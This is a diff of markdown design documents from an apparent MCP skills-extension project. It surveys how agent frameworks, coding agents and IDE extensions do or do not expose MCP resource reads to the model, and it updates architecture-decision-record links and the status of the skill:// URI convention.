- **MCP integration:** Multi-transport client tools — `MCPTool` plus `MCPStdioTool`, `MCPStreamableHTTPTool`, `MCPWebsocketTool` in [`_mcp.py`](https://github.com/microsoft/agent-framework/blob/main/python/packages/core/agent_framework/_mcp.py). The client-facing methods are `load_tools()`, `call_tool()`, `load_prompts()`, `get_prompt()` — no resource methods. .NET equivalents (e.g. `DefaultMcpToolHandler`) under [`dotnet/src/`](https://github.com/microsoft/agent-framework/tree/main/dotnet/src) expose `InvokeToolAsync()` only.
|
||||
- **Resource RPC wired:** No MCP resource RPC at the model boundary. The only production `read_resource` callsites are in [`_skills.py`](https://github.com/microsoft/agent-framework/blob/main/python/packages/core/agent_framework/_skills.py) and refer to **skill** resources, not the model-facing MCP `resources/read`. All MCP `resources/read` references are confined to tests.
|
||||
- **Update:** upstream has since added **MCP-based skills *discovery*** (recent commits use MCP resources internally for skill metadata / `skill://index.json` lookups via `_skills.py`) — but this is still not exposed to the model as a resource-read tool.
|
||||
- **Why on the list:** dual-stack Python/.NET framework with rich skills metadata in the parallel skills survey. The asymmetry — skills support without a model-facing MCP resource tool — is the kind of gap a #2527-aligned PR would close.
|
||||
|
||||
---
|
||||
|
||||
#### crewAI
|
||||
Verified at commit [`051fa0c`](https://github.com/crewAIInc/crewAI/commit/051fa0c1c) (2026-06) of the main `crewAI` repo, which vendors `crewai-tools` under `lib/crewai-tools/` (the adapter is now under `lib/crewai-tools/src/crewai_tools/`).
|
||||
|
||||
- **MCP integration:** [`mcp_adapter.py`](https://github.com/crewAIInc/crewAI/blob/main/lib/crewai-tools/src/crewai_tools/adapters/mcp_adapter.py) imports `mcp` (`StdioServerParameters`, `CallToolResult`, `TextContent`, `Tool`) and `mcpadapt.core` (`MCPAdapt`, `ToolAdapter`); `CrewAIToolAdapter.adapt(func, mcp_tool: Tool)` converts MCP tools to CrewAI `BaseTool` objects.
|
||||
- **Resource RPC wired:** No — `adapt()` is typed to accept only `mcp_tool: Tool`; zero matches for `resource`/`Resource` anywhere in the adapter file or directory. `_run()` extracts `CallToolResult` content only.
|
||||
- **Model-facing tool:** None.
|
||||
- **Why on the list:** Same upstream block as **smolagents** — both depend on [`mcpadapt`](https://github.com/grll/mcpadapt) (`mcpadapt>=0.1.9` declared as optional dep in `lib/crewai-tools/pyproject.toml`), which is tools-only. A single upstream change in `mcpadapt` flips both clients. This is the highest-leverage adapter-library target identified so far.
|
||||
|
||||
---
|
||||
|
||||
#### deepagents (LangChain)
|
||||
Verified at commit [`436409f`](https://github.com/langchain-ai/deepagents/commit/436409fc) (2026-06-03). Note the repo has since been restructured into a monorepo — the MCP code now lives under `libs/code/deepagents_code/`.
|
||||
|
||||
- **MCP wiring is outsourced** to `langchain-mcp-adapters` — [`mcp_tools.py`](https://github.com/langchain-ai/deepagents/blob/main/libs/code/deepagents_code/mcp_tools.py) calls `convert_mcp_tool_to_langchain_tool()` / `_build_cached_mcp_tool()` (the older `load_mcp_tools()` entry point is no longer used). The adapter does not expose `resources/read` as a tool — zero hits for resource-read in deepagents source; sessions only call `list_tools()` / `call_tool()`.
|
||||
- **What it would take:** either upstream adds a resource-read tool, or deepagents wraps `client.read_resource()` outside the adapter.
|
||||
|
||||
---
|
||||
|
||||
#### mastra
|
||||
Verified at commit [`f82cc72`](https://github.com/mastra-ai/mastra/commit/f82cc72edc) (2026-06).
|
||||
|
||||
- **MCP integration:** [`packages/mcp/src/client/client.ts`](https://github.com/mastra-ai/mastra/blob/main/packages/mcp/src/client/client.ts) imports `Client` from `@modelcontextprotocol/sdk/client/index.js`. [`actions/resource.ts`](https://github.com/mastra-ai/mastra/blob/main/packages/mcp/src/client/actions/resource.ts) exposes `public async read(uri: string)` which directly returns `this.client.readResource(uri)`.
|
||||
- **Resource RPC wired:** Yes, but **internal SDK only**. `ResourceClientActions` is mounted as `this.resources` on the client — an SDK surface for callers, not registered as an LLM-facing tool.
|
||||
- **Model-facing tool:** No. The model-facing bridge is `tools()` at [`client.ts`](https://github.com/mastra-ai/mastra/blob/main/packages/mcp/src/client/client.ts) which calls `this.client.listTools()` and iterates only the returned tools array — resources are never traversed.
|
||||
- **Why on the list:** Mastra's skill versioning architecture (content-addressable BlobStore, draft→publish lifecycle) is the most sophisticated. Unlocking resource-read at the model boundary would be a small change relative to the rest of the framework — the SDK plumbing already exists.
|
||||
|
||||
---
|
||||
|
||||
#### strands-agents
|
||||
Verified at commit [`0e0035f`](https://github.com/strands-agents/harness-sdk/commit/0e0035fb) (2026-06). Strands matches the **mastra pattern**: resource RPC wired in the SDK, but no model-facing tool. The Python SDK lives in the `strands-py/` package of the `strands-agents/harness-sdk` monorepo.
|
||||
|
||||
- **Resource RPC wired but unbridged:** `MCPClient.read_resource_sync()`, `list_resources_sync()`, and `list_resource_templates_sync()` in [`mcp_client.py`](https://github.com/strands-agents/harness-sdk/blob/main/strands-py/src/strands/tools/mcp/mcp_client.py) are SDK-public methods, but [`MCPAgentTool`](https://github.com/strands-agents/harness-sdk/blob/main/strands-py/src/strands/tools/mcp/mcp_agent_tool.py) only wraps `mcp.types.Tool` and delegates to `call_tool_async(...)`. Outside tests, nothing in the repo invokes the resource methods.
|
||||
- **Why on the list:** Strands has its own local-filesystem skills implementation at [`agent_skills.py`](https://github.com/strands-agents/harness-sdk/blob/main/strands-py/src/strands/vended_plugins/skills/agent_skills.py), so the framework already does progressive disclosure. Wiring resource-read to the model is the obvious next step for an MCP-backed skill story.
|
||||
|
||||
---
|
||||
|
||||
### Coding agents / CLIs
|
||||
|
||||
#### codex (OpenAI)
|
||||
Verified at commit [`ad2012d`](https://github.com/openai/codex/commit/ad2012d645b7146d31bb03f98e2bd9371635d11a). (The handlers were reorganized from the single `codex-rs/tools/src/mcp_resource_tool.rs` file into a per-tool module directory since the prior `67849d9` check.)
|
||||
|
||||
- **Model-facing tools:** `read_mcp_resource`, `list_mcp_resources`, `list_mcp_resource_templates`, each a handler module under [`codex-rs/core/src/tools/handlers/mcp_resource/`](https://github.com/openai/codex/tree/main/codex-rs/core/src/tools/handlers/mcp_resource); registered unconditionally via `add_mcp_resource_tools` in [`spec_plan.rs`](https://github.com/openai/codex/blob/main/codex-rs/core/src/tools/spec_plan.rs), gated on `context.mcp_tools.is_some()`. The read handler [`read_mcp_resource.rs`](https://github.com/openai/codex/blob/main/codex-rs/core/src/tools/handlers/mcp_resource/read_mcp_resource.rs) calls `session.read_resource(&server, …)`.
|
||||
- **Signature:** `(server, uri)` — model names the server explicitly. No user-facing doc; an internal steer (in `apps_instructions.rs`) tells the model to prefer `tool_search`.
|
||||
|
||||
---
|
||||
|
||||
#### goose (AAIF)
|
||||
Verified at commit [`45d8bf8`](https://github.com/aaif-goose/goose/commit/45d8bf81d09d478ceedba8f6d1f0ad906123a981).
|
||||
|
||||
- **Model-facing tools:** `read_resource`, `list_resources` registered in [`ext_manager.rs`](https://github.com/aaif-goose/goose/blob/main/crates/goose/src/agents/platform_extensions/ext_manager.rs) when at least one extension reports `ServerCapabilities::resources`. Dispatch flows through [`extension_manager.rs`](https://github.com/aaif-goose/goose/blob/main/crates/goose/src/agents/extension_manager.rs) → `client.read_resource(...)` → MCP `resources/read`. Documented at [`extension-manager-mcp.md`](https://github.com/block/goose/blob/main/documentation/docs/mcp/extension-manager-mcp.md).
|
||||
- **Signature:** `(extension_name, uri)` on `read_resource` — `extension_name` is required. `list_resources` takes an optional `extension_name` filter; the tool description directs the model to call `list_resources` first when ownership is unknown.
|
||||
|
||||
---
|
||||
|
||||
#### hermes-agent (Nous Research)
|
||||
Verified at commit [`03ba06e`](https://github.com/NousResearch/hermes-agent/commit/03ba06ebf) (2026-06). No drift across the 376 commits since the prior `72ff3e9` check.
|
||||
|
||||
- **MCP integration:** Full integration in [`tools/mcp_tool.py`](https://github.com/NousResearch/hermes-agent/blob/main/tools/mcp_tool.py).
|
||||
- **Resource RPC wired:** Yes — `_make_read_resource_handler()` calls `await server.session.read_resource(uri)`; the per-server schemas are built in `_build_utility_schemas()`.
|
||||
- **Model-facing tools:** Yes — both `mcp_{safe_name}_read_resource` (taking `uri`) and `mcp_{safe_name}_list_resources` (no parameters) registered per connected server via `_build_utility_schemas()`. Conditionally registered when the server advertises `capabilities.resources` AND the per-server `tools.resources` config flag is on (default).
|
||||
- **Signature:** `(uri)` — server is encoded in the tool name (one tool per server), so the model implicitly selects the server by selecting the tool. **Distinct from every other pattern surveyed**: not `(server, uri)`, not `(resource_names: array[string])` batch, not `(uri)`-with-probing, not URI-virtualized — it's *one tool per server*. The matching `list_resources` per server gives the model a discovery affordance without cross-server probing.
|
||||
- **End-user docs:** [`features/mcp.md`](https://github.com/NousResearch/hermes-agent/blob/main/website/docs/user-guide/features/mcp.md) and [`guides/use-mcp-with-hermes.md`](https://github.com/NousResearch/hermes-agent/blob/main/website/docs/guides/use-mcp-with-hermes.md) both document the utility wrappers. (Minor doc/code mismatch: the user-facing docs name the tools as bare `read_resource` / `list_resources`, but the actual model-facing names include the `mcp_{server}_` prefix.)
|
||||
- **Why interesting:** The per-server-tool naming is a candidate disambiguation pattern for skills-over-MCP — the model can't pick the wrong server because each tool only binds to one.
|
||||
|
||||
---
|
||||
|
||||
#### Claude Code (closed source — reference only)
|
||||
|
||||
Claude Code is closed source so we cannot verify the loader, but the [public tools reference](https://code.claude.com/docs/en/tools-reference) documents `ReadMcpResourceTool` accepting `server` and `uri` parameters. Listed here as a reference data point for the `(server, uri)` signature shape also adopted by Codex, Goose, fast-agent, and Cline.
|
||||
|
||||
---
|
||||
|
||||
#### opencode
|
||||
Verified at commit [`2a33add`](https://github.com/anomalyco/opencode/commit/2a33addd2) on the canonical `dev` default branch.
|
||||
|
||||
- **Tools forwarded to the model** in [`packages/opencode/src/mcp/index.ts`](https://github.com/anomalyco/opencode/blob/main/packages/opencode/src/mcp/index.ts) via `client.callTool()`; tool naming convention `{server_name}_{tool_name}` (sanitized, underscore-separated — `sanitize(clientName) + "_" + sanitize(mcpTool.name)`). The model-tool bridge in [`packages/opencode/src/session/tools.ts`](https://github.com/anomalyco/opencode/blob/main/packages/opencode/src/session/tools.ts) forwards only `mcp.tools()`.
|
||||
- **Resource-read is UI-only:** `readResource()` in the same file is invoked only from the file picker (`session/prompt.ts` attachment path), never registered as an LLM tool. Docs ([`mcp-servers.mdx`](https://github.com/anomalyco/opencode/blob/main/packages/web/src/content/docs/mcp-servers.mdx)) advertise tool forwarding only.
|
||||
|
||||
---
|
||||
|
||||
### IDE extensions
|
||||
|
||||
#### vscode (GitHub Copilot)
|
||||
Verified at commit [`ebb335f`](https://github.com/microsoft/vscode/commit/ebb335fad02) (vscode core, 2026-06-03); the Copilot Chat extension was re-checked against current `microsoft/vscode-copilot-chat` main. VS Code is the unique pattern here: no MCP-specific tool — generic `copilot_readFile` / `copilot_listDirectory` tools transparently reach MCP servers via filesystem-provider indirection on a custom URI scheme.
|
||||
|
||||
- **URI scheme + FS provider:** [`McpResourceURI`](https://github.com/microsoft/vscode/blob/main/src/vs/workbench/contrib/mcp/common/mcpTypes.ts) defines `mcp-resource://` URIs that encode the MCP server's definition ID in the authority — self-routing. [`McpResourceFilesystem`](https://github.com/microsoft/vscode/blob/main/src/vs/workbench/contrib/mcp/common/mcpResourceFilesystem.ts) is registered for that scheme; `_readURIInner` decodes the URI, looks up the `McpServer`, and calls `r.readResource(...)` — the MCP `resources/read` RPC. Capability-gated on `McpCapability.Resources`.
|
||||
- **`resource_link` pre-wrap — removed:** the doc previously described `mcpLanguageModelToolContribution.ts` converting an MCP tool's `resource_link` into an `mcp-resource://` URI for later re-reading via `copilot_readFile`. As of current main that file is gone and `microsoft/vscode-copilot-chat` no longer references the `mcp-resource://` scheme at all. The core scheme + FS provider in vscode itself remain intact, but the extension no longer auto-wraps `resource_link`s — so the model now has fewer built-in ways to obtain such a URI (the live forwarding path observed in the local clone renders `resource_link`s as plain text). *Worth re-confirming the current intended mechanism upstream.*
|
||||
- **Caveat — discoverability:** the model can only read a URI it has been handed (e.g. a user attachment). No `list_mcp_resources`-equivalent **for the model**. Note vscode core *does* now expose `IMcpServer.resources()` / `resourceTemplates()` ([`mcpTypes.ts`](https://github.com/microsoft/vscode/blob/main/src/vs/workbench/contrib/mcp/common/mcpTypes.ts)), but these feed a *user-facing* resource quick-pick (`mcpResourceQuickAccess.ts`), not a model tool. [Connor Peet on PR #2527](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2527#issuecomment-4282395437) is the clearest write-up of this pattern.
|
||||
|
||||
---
|
||||
|
||||
#### cline
|
||||
|
||||
Verified at commit [`81792d2`](https://github.com/cline/cline/commit/81792d20c) (2026-06-04). Note the repo restructured into a monorepo — the VS Code extension source now lives under `apps/vscode/src/` (was `src/`).
|
||||
|
||||
- **MCP integration:** Depends on `@modelcontextprotocol/sdk` `^1.25.1` per `apps/vscode/package.json`.
|
||||
- **Resource RPC wired:** Yes. [`McpHub.readResource(serverName, uri)`](https://github.com/cline/cline/blob/main/apps/vscode/src/services/mcp/McpHub.ts) issues a raw `resources/read` request against the named connection's client and decodes with `ReadResourceResultSchema`.
|
||||
- **Model-facing tool:** Yes. [`AccessMcpResourceHandler`](https://github.com/cline/cline/blob/main/apps/vscode/src/core/task/tools/handlers/AccessMcpResourceHandler.ts) calls `mcpHub.readResource(...)` from the model-tool execution pipeline. The model sees `access_mcp_resource` as a registered tool taking `(server_name, uri)`.
|
||||
- **Discoverability:** The [system-prompt formatter](https://github.com/cline/cline/blob/main/apps/vscode/src/core/prompts/system-prompt/components/mcp.ts) enumerates each connected server's `resources` and `resourceTemplates` in `formatMcpServersList()`. Populated by `fetchResourcesList()` and `fetchResourceTemplatesList()` in `McpHub.ts`.
|
||||
- **End-user docs:** none found in `README.md`; no `docs/` directory in the repo root.
|
||||
- **Why interesting:** Cline has the most extensive skills implementation in the parallel survey (incl. the admin-locked enterprise `globalSkills` primitive), so the *presence* of full resource-read support, in-prompt enumeration, and dedicated handler is the natural complement.
|
||||
|
||||
## Takeaways for SEP-2640 (skills extension)
|
||||
|
||||
- **v1's protocol surface has a working client/server pair, and realignment is fast but not free.** fast-agent and hf-mcp-server have both migrated to the July v1 shape (fast-agent pinning revision `d7490ec`; hf-mcp-server via [#219](https://github.com/huggingface/hf-mcp-server/pull/219), 2026-08-03), so `skills/list`, `skills/get`, per-file digest verification, and `directoryRead` gating are all exercised end-to-end — including v1-specific paths like installing an unlisted skill by URI through `skills/get`. Two observations for the WG: (a) this pair has now realigned **twice in seven weeks** (2026-06-19, then early August), and each round was a breaking change — both implementations dropped the old shape rather than supporting both, and fast-agent's archive download/extract hardening was discarded outright when archives became a deferred feature; (b) neither can lean on the SDK — fast-agent carries provisional local wire models because the pinned MCP Python SDK has no typed SEP-2640 models, which is a standing cost for every adopter until the SDKs catch up. Implementation experience is real evidence for the SEP's readiness here, but it is evidence about a pinned revision, so it should be re-dated whenever the draft moves — and about a prerelease install path on the client side, not a generally-available one.
|
||||
- **First shipped client + server pair.** **fast-agent** is the first surveyed client to ship a SEP-2640 implementation — but scoped to *registry/install*: it consumes the `io.modelcontextprotocol/skills` extension to install digest-verified skills into its managed skills directory, and does not (yet) read skill resources at model runtime ([#816](https://github.com/evalstate/fast-agent/pull/816) still open). It was verified live against the **Hugging Face MCP server**, the first server-side implementation we've interoperated with (advertises the extension with `directoryRead: true` plus `resources: { subscribe: false, listChanged: false }`; tracked in [skills-extension-candidates.md](skills-extension-candidates.md)). One deployment detail worth carrying into the SEP discussion: HF serves skills **over HTTP transports only**, not over long-lived STDIO. Notably, the first real-world wrinkle was operational, not protocol-level: a client that retry-loops `resources/subscribe` (cursor-vscode) flooded the HF server, prompting a client-denylist mitigation ([hf-mcp-server#164](https://github.com/huggingface/hf-mcp-server/pull/164)) — a reminder that serving skills as resources inherits the resource subsystem's failure modes.
|
||||
- **Seven of thirteen open-source clients surveyed** (Codex, Goose, fast-agent, VS Code, hermes-agent, adk-python, Cline) satisfy #2527's SHOULD; closed-source Claude Code's public docs confirm it does too. Goose and hermes-agent also satisfy the implicit expectation that this be documented for end users; the other implementers ship the affordance with no user-facing documentation.
|
||||
- **Four implementation patterns** for model-facing MCP resource access — all support the layering Peter sketches in his #2640 comment, but with different costs:
|
||||
- **Dedicated tools, `(server, uri)`** (Codex, Goose, Claude Code, fast-agent, Cline — fast-agent is also multiplexed across `internal://`): explicit `read_resource` / `access_mcp_resource` registered alongside other MCP tools. Most discoverable; closest literal reading of #2527. By volume, this is the dominant pattern.
|
||||
- **Dedicated tool, `(resource_names: array[string])`** (adk-python): batch read; the available resources are surfaced to the model via context injection rather than a separate list tool. Same affordance shape as the `(server, uri)` family but with the server identifier embedded in the catalogued resource name rather than passed as a parameter.
|
||||
- **One tool per server, `(uri)`** (hermes-agent): server is encoded in the tool name (`mcp_{server}_read_resource`), so the model selects the server by selecting the tool. Trades catalog tokens for unambiguity. Pairs with `mcp_{server}_list_resources` so the model has a per-server discovery affordance.
|
||||
- **FS-provider indirection via namespaced URIs** (VS Code): no MCP-specific tool. `mcp-resource://` URIs are registered with the file service; generic `readFile` / `listDirectory` tools transparently reach `resources/read`. Costs nothing in tool-count budget; loses `list` affordance.
|
||||
|
||||
Reliability implication: each pattern enforces server identity differently — explicit parameter (`(server, uri)`), tool choice (per-server tool), catalog-name lookup (adk-python), or URI authority (`mcp-resource://<server-id>/...`). **The spec should nudge implementations to keep server identity mandatory** so a skill always resolves to its owning server. Otherwise the host has to probe every connected server when the model omits it — either silently picking the wrong one, or iterating through all of them at the cost of latency and tokens. fast-agent's optional `server_name` is the live instance of this: notably, its SEP-2640 install path does *not* inherit the ambiguity, since `/skills registry <server>` binds a specific server and skill provenance is recorded per install — a useful signal that skill-scoped operations want stronger server binding than a general resource-read tool.
|
||||
- **Adapter libraries block two "no" rows.** **crewAI** depends on [`mcpadapt`](https://github.com/grll/mcpadapt); **deepagents** depends on [`langchain-mcp-adapters`](https://github.com/langchain-ai/langchain-mcp-adapters). Both adapters are tools-only — the unlock for either client lives in the adapter, not the client repo.
|
||||
- **Internal SDK without LLM-tool exposure** (mastra, strands-agents) is its own pattern: the resource RPC is wired in the SDK but not bridged to the model. Closing this gap is typically smaller-scope than wiring the RPC from scratch.
|
||||
|
|
@ -18,7 +18,7 @@ For background on the ADR format, see [adr.github.io](https://adr.github.io/).
|
|||
|
||||
**References:**
|
||||
- [Feb 13 meeting notes](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/2248) (Key Decisions & Agreements)
|
||||
- [Problem Statement](problem-statement.md)
|
||||
- [Problem Statement](archive/problem-statement.md)
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -82,7 +82,7 @@ For background on the ADR format, see [adr.github.io](https://adr.github.io/).
|
|||
**References:**
|
||||
- [Issue #14](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/14)
|
||||
- [PR #17](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/17)
|
||||
- [Approaches doc](approaches.md)
|
||||
- [Approaches doc](archive/approaches.md)
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -116,7 +116,7 @@ For background on the ADR format, see [adr.github.io](https://adr.github.io/).
|
|||
- [PR #60](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/60)
|
||||
- [Issue #55](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/55)
|
||||
- [Discord discussion](https://discord.com/channels/1358869848138059966/1482008994062274610)
|
||||
- [Using `_meta` for Skill Resources](skill-meta-keys.md)
|
||||
- [Using `_meta` for Skill Resources](archive/skill-meta-keys.md)
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -124,7 +124,7 @@ For background on the ADR format, see [adr.github.io](https://adr.github.io/).
|
|||
|
||||
**Status:** Superseded in part — three of the bullets below were changed in SEP-2640 v1: enumeration moved from a `skill://index.json` resource to a `skills/list` method, the no-nesting constraint was reversed (nested skills are permitted, gated on fresh activation consent), and `skill://` was made non-privileged rather than the marker of what counts as a skill. See the 2026-07-16 v1 scope entry below, items 2, 6, and 8. The URI structure itself carries forward unchanged: explicit `SKILL.md`, final path segment equal to the skill `name`, optional organizational prefix, authority segment without special semantics.
|
||||
|
||||
**Context:** Several independent MCP implementations (FastMCP 3.0, NimbleBrain, skilljack-mcp, skills-over-mcp, etc.) had converged on using Resources to represent skills using either `skill://` or domain-specific URI schemes, but diverged on the rest of the URI structure. This included variations around whether to use an authority segment, whether `SKILL.md` is explicit in the URI, how to address sub-resources, and how the URI path relates to the skill's frontmatter `name`. A survey of these patterns was published in [`skill-uri-scheme.md`](skill-uri-scheme.md) and informed the draft [Skills Extension SEP (#69)](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/69). The path↔name relationship went through two drafts before settling: the first required a single path segment equal to the `name`, which broke for servers needing hierarchy (e.g., `acme/billing/refunds` vs. `acme/support/refunds`); a second draft fully decoupled path from `name`, which was too loose — a URI like `skill://a/b/c/SKILL.md` revealed nothing about what the skill was called without a frontmatter round trip.
|
||||
**Context:** Several independent MCP implementations (FastMCP 3.0, NimbleBrain, skilljack-mcp, skills-over-mcp, etc.) had converged on using Resources to represent skills using either `skill://` or domain-specific URI schemes, but diverged on the rest of the URI structure. This included variations around whether to use an authority segment, whether `SKILL.md` is explicit in the URI, how to address sub-resources, and how the URI path relates to the skill's frontmatter `name`. A survey of these patterns was published in [`skill-uri-scheme.md`](archive/skill-uri-scheme.md) and informed the draft [Skills Extension SEP (#69)](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/69). The path↔name relationship went through two drafts before settling: the first required a single path segment equal to the `name`, which broke for servers needing hierarchy (e.g., `acme/billing/refunds` vs. `acme/support/refunds`); a second draft fully decoupled path from `name`, which was too loose — a URI like `skill://a/b/c/SKILL.md` revealed nothing about what the skill was called without a frontmatter round trip.
|
||||
|
||||
**Decision:** Adopt `skill://<skill-path>/SKILL.md` as the recommended URI convention for skill resources over MCP, with:
|
||||
|
||||
|
|
@ -143,7 +143,7 @@ For background on the ADR format, see [adr.github.io](https://adr.github.io/).
|
|||
- [PR #70](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/70) — URI scheme refinements (merged 2026-04-16)
|
||||
- [Issue #44](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/44) — URI scheme discussion
|
||||
- [Draft Skills Extension SEP (#69)](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/69)
|
||||
- [Skill URI Scheme Proposal](skill-uri-scheme.md)
|
||||
- [Skill URI Scheme Proposal](archive/skill-uri-scheme.md)
|
||||
|
||||
---
|
||||
|
||||
|
|
|
|||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue